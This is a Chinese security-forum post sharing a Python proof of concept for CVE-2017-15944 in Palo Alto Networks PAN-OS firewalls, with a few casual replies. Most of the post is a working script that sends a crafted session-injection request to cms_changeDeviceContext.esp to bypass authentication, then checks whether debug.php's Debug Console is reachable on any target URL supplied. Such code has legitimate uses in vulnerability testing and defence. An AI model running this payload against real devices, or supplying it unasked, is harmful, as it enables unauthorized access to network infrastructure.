CVE-2017-15944 POC

0xbug / 2017-12-15 10:40:37 / 浏览数 4098 安全工具 工具 顶(0) 踩(0)

早上看到 Palo Alto Networks firewalls 爆出RCE漏洞http://seclists.org/fulldisclosure/2017/Dec/38 ，
到公司赶紧测试了下，并写了POC ，https://github.com/0xbug/CVE-2017-15944-POC

```
import requests
import sys

if len(sys.argv) > 1:
   target = sys.argv[1]

   create_session_url = '{}/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";'.format(
       target)
   verify_url = '{}/php/utils/debug.php'.format(target)

   session = requests.Session()
   if 'https' in target:
       session.get(verify_url, verify=False)
       session.get(create_session_url, verify=False)
       verify = session.get(verify_url, verify=False)
   else:
       session.get(verify_url)
       session.get(create_session_url)
       verify = session.get(verify_url)

   if 'Debug Console' in verify.text:
       print('{} is vul'.format(target))
   else:
       print('{} is not vul'.format(target))
else:
   print('Usage: python panos-poc.py panurl')
```

点击收藏 | 0 关注 | 0

上一篇：Pwn with File结构体（二） 下一篇：求js代码

1. 4 条回复


hades 2017-12-15 10:50:40

@0xbug 连续六次被评为Gartner魔力象限防火墙领导者 这脸打的 (^o^)/~

0 回复Ta


0xbug 2017-12-15 10:56:28

@hades 代码更新了

0 回复Ta

 hades 2017-12-15 10:58:31

@0xbug get

0 回复Ta

 小生我怕怕 2019-01-10 14:10:14

@0xbug 大佬可否留一个联系方式啊！知乎给你留言了

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板